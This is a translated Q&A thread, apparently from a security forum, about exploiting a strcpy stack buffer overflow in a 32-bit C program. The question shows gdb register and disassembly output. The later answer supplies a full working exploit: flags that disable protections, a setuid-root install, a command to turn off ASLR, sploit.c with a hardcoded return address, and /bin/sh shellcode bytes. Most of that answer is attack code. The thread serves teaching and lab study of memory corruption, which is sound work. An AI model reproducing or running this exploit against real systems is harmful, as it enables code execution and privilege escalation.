次のコード(strcpy_ex.c)がある単純なバッファオーバーフローを複製しようとしています。
#include <string.h>
int main( int argc, char** argv ) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
私が使用してコンパイルするもの:
gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy
目標は、500文字を超えるバッファでバッファを埋めるときに、バッファオーバーフローの欠陥を利用してシェルを実現することです。
私が読んだ文献から、実行フローを変更し、シェルコードが存在するメモリアドレスをポイントするように、EIPを上書きすることを期待していました。これを実現するために、バッファを「A」と「B」で埋めて、上書きが行われる場所を特定しようとしました。
(gdb) r $(python -c "print 'A'*500+'B'*500")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Examples/Buffer Overflow/strcpy $(python -c "print 'A'*500+'B'*500")
Program received signal SIGSEGV, Segmentation fault.
0x565555ec in main ()
残念ながら、EIPを上書きできなかったようです。 EIPで値0x42424242が見つかると予想していましたが、見つかりませんでした。
(gdb) i r eip esp
eip 0x565555ec 0x565555ec <main+76>
esp 0x4242423e 0x4242423e
ASM命令に関する追加情報:
(gdb) disas main
Dump of assembler code for function main:
0x565555a0 <+0>: lea 0x4(%esp),%ecx
0x565555a4 <+4>: and $0xfffffff0,%esp
0x565555a7 <+7>: pushl -0x4(%ecx)
0x565555aa <+10>: Push %ebp
0x565555ab <+11>: mov %esp,%ebp
0x565555ad <+13>: Push %ebx
0x565555ae <+14>: Push %ecx
0x565555af <+15>: sub $0x200,%esp
0x565555b5 <+21>: call 0x565555ed <__x86.get_pc_thunk.ax>
0x565555ba <+26>: add $0x1a46,%eax
0x565555bf <+31>: mov %ecx,%edx
0x565555c1 <+33>: mov 0x4(%edx),%edx
0x565555c4 <+36>: add $0x4,%edx
0x565555c7 <+39>: mov (%edx),%edx
0x565555c9 <+41>: sub $0x8,%esp
0x565555cc <+44>: Push %edx
0x565555cd <+45>: lea -0x1fc(%ebp),%edx
0x565555d3 <+51>: Push %edx
0x565555d4 <+52>: mov %eax,%ebx
0x565555d6 <+54>: call 0x56555400 <strcpy@plt>
0x565555db <+59>: add $0x10,%esp
0x565555de <+62>: mov $0x0,%eax
0x565555e3 <+67>: lea -0x8(%ebp),%esp
0x565555e6 <+70>: pop %ecx
0x565555e7 <+71>: pop %ebx
0x565555e8 <+72>: pop %ebp
0x565555e9 <+73>: lea -0x4(%ecx),%esp
=> 0x565555ec <+76>: ret
コードが単純であるため、バッファーがいっぱいになった直後にEIPを上書きしないでください。
この状況で何の違いもないとしても、ASLRがオフであることを明確にしたいと思います。
何が欠けていますか?
プラットフォームについて:
# uname -a
Linux kali 4.9.0-kali4-AMD64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
私は本当にここで何かが足りないかもしれませんが、これを利用する最も簡単な方法は、strcpy()呼び出しが別の関数にあることです。このようにして、格納された返信アドレスを上書きし、本質的にEIPを制御できるようにします。
あなたの主な機能は、あなたがコントロールする空間には戻りません。
コードを次のようにします。
#include <string.h>
void vuln(char *arg) {
char buffer[500];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
オーバーフローは、vuln()が終了し、格納された(ただし上書きされた)戻りアドレスをフェッチしてmain()に戻るときに発生します。
それはあなたを始めるはずです。
それは私のために働いた。シェルコードをバッファに埋め込み、eipを上書きしてバッファ内のシェルコードをポイントし、シェルを実行することができました。したがって、 @ ndrix の answer には同意しません。 main()は引き続き関数であり、ebpとeipはオーバーフローする可能性があるため、制御フローを乗っ取ることができます。
コードの共有を求める複数のリクエストを受け取ったので、共有して説明させていただきます。
以下は、この作業を行うために必要な最小限のファイルです。
1)target.c:利用するターゲットの脆弱なコード(OPが必要とするのとまったく同じ)。
2)target.cのコンパイラフラグとその他のMakefileスニペット。
3)sploit.c:悪意のあるargvをtarget.cに渡すエクスプロイト。
4)shellcode.h:エクスプロイトによってターゲットのバッファに埋め込まれるシェルの16進文字列。
5)sploit.cのコンパイラフラグおよびその他のMakefileスニペット。
6)いくつかのシェルコマンド(必要に応じて、スクリプトに含めることができます)。
エクスプロイトは通常、システム固有です。システムには、cpu Arch、OS、コンパイラーなどが含まれています。したがって、コードを見る前に、テストシステム構成(Ubuntu 16.04.2 LTSを搭載したx86(32ビット)システム)を見てみましょう。
$ uname -r
4.4.0-72-generic
$ uname -m
i686
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.2 LTS
Release: 16.04
Codename: xenial
$ gcc --version
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu7) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
以下はtarget.cです(必要なOPとまったく同じです)。
#include <string.h>
int main( int argc, char** argv ) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
ユーザーShellではなくルートShellが必要な場合は、「setuid(0);」を実行する必要があることに注意してください。あなたのtarget.cで.
以下は、target.cのgccコンパイラフラグです。
CFLAGS := -ggdb -g -std=c99 -D_GNU_SOURCE -fno-stack-protector -Wno-format-security -z execstack -mpreferred-stack-boundary=2
コンパイルされたターゲットを/ tmp(ターゲットのMakefile内など)にインストールします。
install -o root -t /tmp target
chmod 4755 /tmp/target
ASLRが無効になっていることを確認します(ルートとしてのシェルコマンド)。
#: echo 0 > /proc/sys/kernel/randomize_va_space
以下はエクスプロイト(sploit.c)です。
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/tmp/target"
#define MEMFILL 0x33 // Fill memory with something.
int main (void)
{
char buf[500 + 2 * sizeof (void *)];
memset (buf, MEMFILL, sizeof (buf));
// Stop strcpy() at 507th index.
memset (&buf[507], '\0', sizeof (char));
// C strings are always appended with '\0' at the end.
// Do NOT copy '\0' so strcpy() can continue copying
// beyond strlen (shellcode), so that it overflows the
// return address at (buf[504] through buf[507]).
memcpy (&buf[0], &shellcode, sizeof (shellcode) - 1);
// Get runtime &buffer[0] in target using gdb.
void *ptr = (void *) 0xbffffa74;
memcpy (&buf[504], &ptr, sizeof (void *));
char *args[] = { TARGET, buf, NULL };
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}
シェルコード(shellcode.h)は次のとおりです。
static const char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
エクスプロイト(sploit.c)に必要な唯一のコンパイラフラグは次のとおりです。
CFLAGS := -ggdb
お役に立てれば。何か見逃した場合はお知らせください。